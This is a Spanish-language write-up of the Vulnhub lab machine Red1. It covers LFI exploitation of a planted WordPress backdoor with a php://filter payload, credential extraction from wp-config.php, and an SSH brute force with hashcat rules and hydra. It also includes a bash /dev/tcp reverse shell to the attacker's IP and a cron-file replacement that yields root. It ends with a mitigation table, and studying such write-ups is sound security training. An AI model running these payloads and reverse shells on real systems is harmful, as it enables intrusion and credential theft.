Writeup - Red1 Vulnhub

Link Máquina

Contenido

• Introducción
• Objetivos
• Escaneo de Red y Enumeración
• Exploración Web y Descubrimiento del Dominio
• Enumeración de Backdoors con Gobuster
• Explotación LFI con WFUZZ
• Extracción de Credenciales en wp-config.php
• Crackeo de Contraseña con Hashcat y Hydra
• Shell Reversa y Escalada de Privilegios
• Acceso a Root
• Conclusiones
• Vulnerabilidades Encontradas

---

Introducción

PD: Durante varias pruebas se ha modificado la IP en las capturas, normalmente el comando será colocado con IPRemota o IPAtacante para referirse al sistema atacado y el que ataca.

Hola buenas, traigo la solución de la máquina de Vulnhub llamada Red1, esta es algo más larga y compleja que las anteriores sin embargo creo que estamos en un nivel aceptable para resolverla, esta proporciona una serie de pistas que a continuación dejó por aquí:

Red has taken over your system, are you able to regain control?

Espero disfrutéis de la guía/lectura.

Objetivos

Los objetivos principales de la máquina:

• Explotar accesos a la máquina con distribución Linux y:
  • Obtener Flag del Usuario (si la hubiera).
  • Obtener Flag del Root (si la hubiera).

Escaneo de Red y Enumeración

Primero escaneamos la red completa, como hemos hecho anteriormente usando netdiscover para así descubrir los hosts que tenemos en nuestra red:

sudo netdiscover -r RED/MÁSCARA

Una vez localizado el equipo vamos a hacer un escaneo nmap completo al host, intentando ver posibles puertos abiertos, en este caso este será el comando:

nmap -sV -sC -Pn IP/IPS

• Flag -Pn: Con -Pn se le dice a Nmap que no haga esa comprobación previa y que considere todos los hosts como “vivos”, aunque no respondan al ping. Esto es útil cuando:
  • El firewall bloquea ICMP (no se puede hacer ping).
  • El host tiene filtros que ocultan su presencia.
  • Se quiere forzar un escaneo a pesar de la falta de respuesta.

Puertos encontrados:

• 22/tcp → SSH 8.2p1

• 80/tcp → HTTP Apache 2.4.41 (Wordpress 5.8.1)

Exploración Web y Descubrimiento del Dominio

Comprobemos la web en el puerto 80 colocando la IP en el navegador.

Al acceder a la IP por navegador, la web parece “rota”. Inspeccionando el código fuente se revela el dominio real, que se añade al fichero /etc/hosts para visualizar correctamente el Wordpress comprometido.

La web muestra un mensaje de que fue “hackeada por Red”, indicando una backdoor oculta.

Una backdoor le permite a un atacante pueda acceder a un sistema ya comprometido sin tener que pasar otra vez por el enorme y largo proceso de comprometerlo otra vez.

Enumeración de Backdoors con Gobuster

Gracias a un usuario de Github tenemos acceso a un diccionario que contiene los backdoors comunes hechos en PHP (que al final es el lenguaje que usa Wordpress por atrás). Lo descargamos en nuestra máquina principal

wget https://raw.githubusercontent.com/stitisaid/worlist/refs/heads/main/CommonBackdoors-PHP.fuzz.txt

Usando Gobuster podemos hacer un ataque de fuerza bruta a los directorios de la misma para enumerarlos.

gobuster dir -u <target IP> -W CommonBackdoors-PHP.fuzz.txt -s 200,204,301,302,307,401,403,500 -b ""

• dir: Módulo de Gobuster para hacer una enumeración de directorios.
• Flag -u: IP o IPS objetivo
• Flag -W: Ruta al diccionario utilizado
• Flag -s: Lista de códigos de estado HTTP que Gobuster debe considerar como resultados positivos y debe mostrar en la salida
  • 200: El recurso se encontró y fue devuelto.
  • 204: El servidor ha cumplido con la solicitud, pero no devolverá ningún contenido.
  • 301,302,307: El recurso se encontró, pero ha sido movido permanentemente o temporalmente.
  • 401: Se requiere autenticación para acceder al recurso. Significa que el recurso existe.
  • 403: El servidor entiende la solicitud, pero se niega a autorizarla. Significa que el recurso existe, pero está restringido.
  • 500: Un error genérico del servidor. Aunque es un error, a veces una ruta que devuelve 500 puede ser una indicación de que el archivo o directorio existe y está causando un error al intentar ejecutarse (como es este caso).
• Flag -b: Lista de códigos de estado que gobuster debe ignorar, con “” no ignorará ninguno y usará la lista de -s.

Explotación LFI con WFUZZ

Si abrimos la web y colocamos la backdoor en la URL veremos que existe pero no es accesible como tal.

Investigando la backdoor encontramos que es un tipo de backdoor que explota una vulnerabilidad Local File Inclusion (LFI).

Para comprobarlo podemos hacer uso de WFUZZ que es una herramienta que permite hacer pruebas de LFI (fuerza bruta de parámetros POST, GET) etc. Para ello usaremos un diccionario de parámetros conocidos y utilizados en ataques conocidos de este estilo.

La diferencia entre Gobuster y WFuzz es que la primera está optimizada principalmente para la enumeración de directorios, archivos y subdominios, mientras que WFuzz permite una flexibilidad superior para el fuzzing de casi cualquier parte de una solicitud HTTP (URL, encabezados, cookies, datos POST), y es especialmente útil para la detección de vulnerabilidades y la fuerza bruta de parámetros de login.

Descargamos el diccionario:

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-parameter-names.txt

Luego usando el siguiente comando de WFUZZ podemos comprobar que realmente usa un LFI (Siempre se usa FUZZ como parámetro clave de prueba):

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w burp-parameter-names.txt --hh 00

• Flag -c: Muestra la salida con colores para mejor visualización.
• Flag -u: Especifica la URL objetivo, donde la palabra clave FUZZ será reemplazada por cada valor de la wordlist.
• Flag -w: Indica el diccionario de palabras a usar. Wfuzz reemplazará FUZZ con cada palabra del mismo.
• Flag –hh 00: Excluye (oculta) las respuestas que tienen un cuerpo de respuesta de tamaño cero (0 bytes).

Podemos ver que al probar parámetros da distintos tipos de respuestas, probando que existe la vulnerabilidad. Para confirmarla del todo, listamos los usuarios del sistema (fichero /etc/passwd).

(Apuntamos la lista de usuarios ya que el usuario ippsec es un usuario peculiar en esta investigación ya que no es común del sistema).

Extracción de Credenciales en wp-config.php

Sin embargo, sabiendo que estamos con un sitio de Wordpress, lo suyo es probar la seguridad del wp-config.php que contiene las credenciales de la base de datos del sistema de la web. Para ello podemos usar la siguiente payload en forma de wrapper de PHP.

(En el contexto de las vulnerabilidades de inclusión de archivos, un wrapper se refiere al protocolo o método utilizado para acceder o incluir un archivo. Los wrappers se utilizan a menudo en PHP u otros lenguajes del lado del servidor para ampliar las funciones de inclusión de archivos, permitiendo el uso de protocolos como HTTP, FTP y otros, además del sistema de archivos local.)

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php

Este wrapper de LFI nos dará el código fuente del fichero encodeado en Base 64, para decodearlo podemos usar CyberChef y la herramienta echo del sistema concatenando el comando base64 -d como hice yo.

echo cadenaencoded | base64 -d 

Entre los datos útiles de esto es que nos revela las credenciales de la base de datos de Wordpress (DB_NAME, DB_USER y DB_PASSWORD).

Crackeo de Contraseña con Hashcat y Hydra

La contraseña encontrada no da acceso directo, pero puede romperse usando Hashcat y sus reglas:

Siguiendo la anterior afirmación podemos obtener el código fuente del payload de la web ya afectada para ver si encontramos una pista nueva. Volvemos a hacer lo mismo:

Vemos que nos da una cadena nueva en base64 que si decodeamos:

Vemos que nos da un mensaje de que la contraseña sola no nos ayudará, necesitaremos la ayuda de reglas de Hashcat.

Hashcat es una herramienta de Linux/Windows que nos permite recuperar contraseñas usando su hash. Esta la usaremos para a través de SSH descubierto anteriormente y con el uso de Hydra (cracker de logging) intentar entrar a través de dicho protocolo a la máquina.

Para ello crearemos un diccionario con las contraseñas (en mi caso txt). Añadimos la clave (DB_PASSWORD) encontrada en el wp-config.php

hashcat --force diccionario.txt -r /usr/share/hashcat/rules/best64.rule --stdout > wordlist.txt

Vemos que ya temenos nuestro wordlist y ahora simplemente usando el siguiente comando de hydra podemos intentar que nos de cual es la clave de ese wordlist (en caso de que exista).

hydra -l john -P wordlist.txt IPOBJETIVO ssh

• Flag -l: Sabemos que el usuario era john gracias a DB_USER.
• Flag -P: Ruta al wordlist usado
• IPOBJETIVO y por último protocolo a atacar (en mi caso SSH) porque sabemos que teníamos abierto dicho protocolo en el puerto 22.

Una vez hecho nos dará la clave gracias al wordlist por lo que ya podremos acceder dentro.

Shell Reversa y Escalada de Privilegios

Antes de continuar abriremos una shell reversa en el sistema atacante usando netcat, en esta ocasión usaré la subherramienta rlwrap junto a el mismo, esta herramienta da los colores y la estructura de una forma más parecida a la de la máquina original en cuanto obtengamos la shell.

Una vez hecho eso, vemos que tenemos acceso al usuario john con SSH.

Durante el transcurso de la conexión, vemos que tenemos una serie de avisos del admin de la máquina Blue, diciendo que no podremos hacernos con el control de la máquina, esto lleva consecuente que tiene una especie de script o cron que activa los mensajes cada cierto tiempo, el script hará que cada cierto tiempo nos saque de la sesión SSH y automáticamente cambie la clave de acceso de john, afortunadamente, el script cambia la clave a una conocida del wordlist por lo que será sencillo como volver a ejecutar el programa para encontrar la nueva clave. Sin embargo lo suyo es saltarnos esta protección, que es lo primero que haremos en este apartado.

Con:

sudo -l 

Obtenemos una pista de que ippsec no necesita contraseña y podemos acceder sin ella.

Accedemos al usuario ippsec.

sudo -u ippsec /usr/bin/time /bin/bash

Listamos el directorio del usuario y dentro del mismo hay un fichero txt llamado fake.txt donde el contenido es que Blue nos indica que no es tan sencillo ya que no es el usuario correcto, por lo que solo nos quedaría root como tal.

Ahora desactivaremos el cronjob o el script de cierre de sesión (aunque luego no será desactivarlo sino engañar para que netcat nos mantenga la sesión activa), para ello utilizaremos una shell reversa en forma de un script de bash dentro del usuario ippsec, nos iremos al directorio /dev/shm (para crear un fichero temporal) y dentro del script escribimos nuestro comando para crear la shell reversa con netcat y le daremos permiso de ejecución.

cd /dev/shm
ls -la
nano shell.sh
bash -i >& /dev/tcp/IPAtacante/9001 0>&1
tac shell.sh
chmod +x shell.sh
bash shell.sh

Una vez ejecutemos el comando con el último paso y al tener ya con netcat una shell corriendo, se nos abrirá la conexión remota a la máquina atacada.

Ahora ejecutaremos la shell interna de python. Al ejecutar import pty; pty.spawn(“/bin/bash”), se utiliza el módulo pty de Python para crear un nuevo pseudo-terminal (TTY) que luego ejecuta el programa /bin/bash dentro de él. Esto convierte la conexión de shell simple en una shell completamente funcional que permite usar comandos complejos como su, editores de texto basados en la terminal como vi o nano, y facilita el manejo de atajos de teclado y el historial de comandos.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Una vez ejecutado esta shell permanente, dejamos en segundo plano la pestaña de netcat con Ctrl+Z y ejecutamos:

stty raw -echo;fg 

• stty raw -echo: Pone el terminal en modo crudo (entradas sin procesar) y desactiva el eco (lo que tecleas no se muestra).
• fg: Trae al foreground un proceso previamente suspendido (ej. una shell remota puesta en background con Ctrl+Z).

Cuando recuperemos la sesión usamos:

export TERM=xterm

• export TERM=xterm: Ajusta la variable TERM para que programas como vim, less y las teclas especiales funcionen correctamente.

Una vez hecho esto evitaremos que Red nos saque de la máquina y podemos continuar con el análisis. Con el usuario ippsec nos movemos al directorio de wordpress .git, la carpeta .git almacena toda la información necesaria para que Git funcione, como los objetos de datos (el contenido de tus archivos), los commits (registros de cambios), los árboles de directorios y las etiquetas de objetos.

En resumen añadir que este .git solo puede ser accedido por los miembros del grupo ippsec de hay que nos hayamos hecho con el control de dicho usuario que además no tenía contraseña.

Dentro de este directorio nos encontramos un misterioso script en C y un archivo rev. Estos dos son la parte que hace que la máquina permita sacarnos fuera de SSH cada un cierto tiempo, además este script manda los saludos que nos da Blue, al ejecutar rev le da la orden al secretfile.

Para bypasearlo podemos implementar una shell reversa en netcat nueva para que automaticamente el sistema en vez de sacarnos nos de el acceso root, para ello podemos usar una shell existente en C ya desarrollada, el nombre del fichero nuevo será un sustituto del que ya existe, al ser parte del grupo ippsec podemos borrar los dos ficheros ya que tenemos permisos.

Dentro de nuestra máquina atacante creamos el fichero usando nano, vi u otro editor.

(el contenido de este C permite crear una conexión socket con una interfaz de comandos /bin/bash/ y asignandole la IP de la máquina atacante haremos que cuando pase el tiempo de espera ya programado en la maquina vulnerada pues en vez de sacarnos fuera nos de acceso root en la nueva shell netcat).

Acceso a Root

Para enviarnos la nueva shell montamos un servidor con Python en el puerto 8081 con el comando:

python3 -m http.server 8081

Finalmente descargamos el fichero hosteado con wget en nuestra máquina atacada que gracias a ser del grupo ippsec nos dejará meterlo con el mismo nombre (probado con otro nombre y nos da error de espacio de disco duro, indicando que el fichero no puede ser escrito en ese directorio).

wget http://<IPATACANTE>:8081/supersecretfileuc.c

Cuando envie el nuevo mensaje automáticamente nos dará la Shell a través del nuevo netcat.

Ahora la Shell si será del usuario root, para ello lo vemos con whoami

Si listamos el directorio vemos un root.txt final.

Conclusiones

Una máquina extensa y desafiante, que combina múltiples vectores:

• Enumeración web y análisis de dominio.

• Explotación de vulnerabilidad LFI.

• Extracción y crackeo de credenciales.

• Uso combinado de herramientas de pentesting (nmap, wfuzz, gobuster, hashcat, hydra).

• Escalada de privilegios y persistencia con cronjobs.

Vulnerabilidades Encontradas

Nombre	A qué afecta	Método usado para explotarla	Posibles soluciones / Mitigaciones
Local File Inclusion (LFI)	Divulgación de archivos locales del servidor (p. ej. /etc/passwd, wp-config.php)	Fuerza bruta de parámetros con wfuzz + identificación del parámetro vulnerable; uso de wrappers PHP (php://filter/convert.base64-encode/resource=...) para extraer ficheros.	- Validar y sanear entradas (allowlist de rutas/parametros). - Evitar incluir archivos directamente desde parámetros; usar mapeo interno (ID → ruta segura). - Deshabilitar wrappers peligrosos (php://filter) si no son necesarios; configurar open_basedir y disable_functions en PHP. - Permisos de fichero restringidos (p. ej. 600/640) y separar archivos sensibles fuera del webroot. - WAF/IPS para bloquear patrones LFI y monitorización de logs.
Backdoor PHP oculto	Ejecución remota / persistencia en la aplicación web (WordPress)	Enumeración de posibles backdoors con gobuster usando CommonBackdoors-PHP.fuzz.txt para localizar rutas ocultas.	- Restringir escritura en directorios públicos (uploads, wp-content) y deshabilitar ejecución PHP en ellos (config del servidor o .htaccess). - Implementar IDS/antimalware + escaneos regulares (Wordfence, Maldet, etc.). - Monitorización e integridad de ficheros (tripwire, inotify) y SIEM para alertas. - Revisar y actualizar plugins/themes; eliminar componentes abandonados. - Gestión de usuarios: permisos mínimos, credenciales seguras y auditoría de cambios.
Exposición de wp-config.php	Exfiltración de credenciales de la base de datos (DB_USER, DB_PASSWORD)	Inclusión LFI con wrapper php://filter para obtener el fichero en base64 y decodificarlo (base64 -d).	- Mover wp-config.php fuera del webroot si es posible; denegar acceso web explícitamente desde el servidor web. - Permisos estrictos (por ejemplo 600) y propietario correcto (usuario del proceso web no root). - Evitar almacenar credenciales en archivos accesibles; usar variables de entorno o gestores de secretos cuando sea factible. - Rotar credenciales tras indicios de exposición; usar usuarios DB con mínimos privilegios.
Credenciales débiles / SSH	Acceso por SSH a usuarios del sistema (posible acceso inicial)	Generación de wordlist con reglas de hashcat y ataque de fuerza con hydra contra el servicio SSH.	- Deshabilitar autenticación por contraseña; usar autenticación por claves públicas y, si es posible, 2FA. - Desactivar PermitRootLogin yes; permitir sólo usuarios específicos (AllowUsers). - Aplicar rate limiting / fail2ban / bloqueo automático tras intentos fallidos; cambiar puerto si se desea (no es mitigación completa). - Forzar contraseñas fuertes y rotación; revisar/limitar acceso (VPN, bastion host). - Monitorizar logs de autenticación y alertas.
Cronjob inseguro / Ejecución con privilegios	Escalada a root y persistencia (ejecución de binarios creados por el atacante)	Inserción/alteración de un binario/script ejecutado por cron (subida vía wget desde servidor atacante) y ejecución cuando cron lo lanza, obteniendo shell como root.	- Evitar que scripts críticos sean editables por usuarios no confiables; permisos root:root y 700 cuando proceda. - Revisar y limitar tareas en crontab; preferir gestores de tareas con control de integridad. - No descargar y ejecutar binarios desde orígenes no verificados; usar firmas / checksums y repositorios oficiales. - Ejecutar tareas con el menor privilegio posible (usar usuarios dedicados). - Habilitar auditoría (auditd), alertas sobre cambios en crontabs y control de versiones para scripts.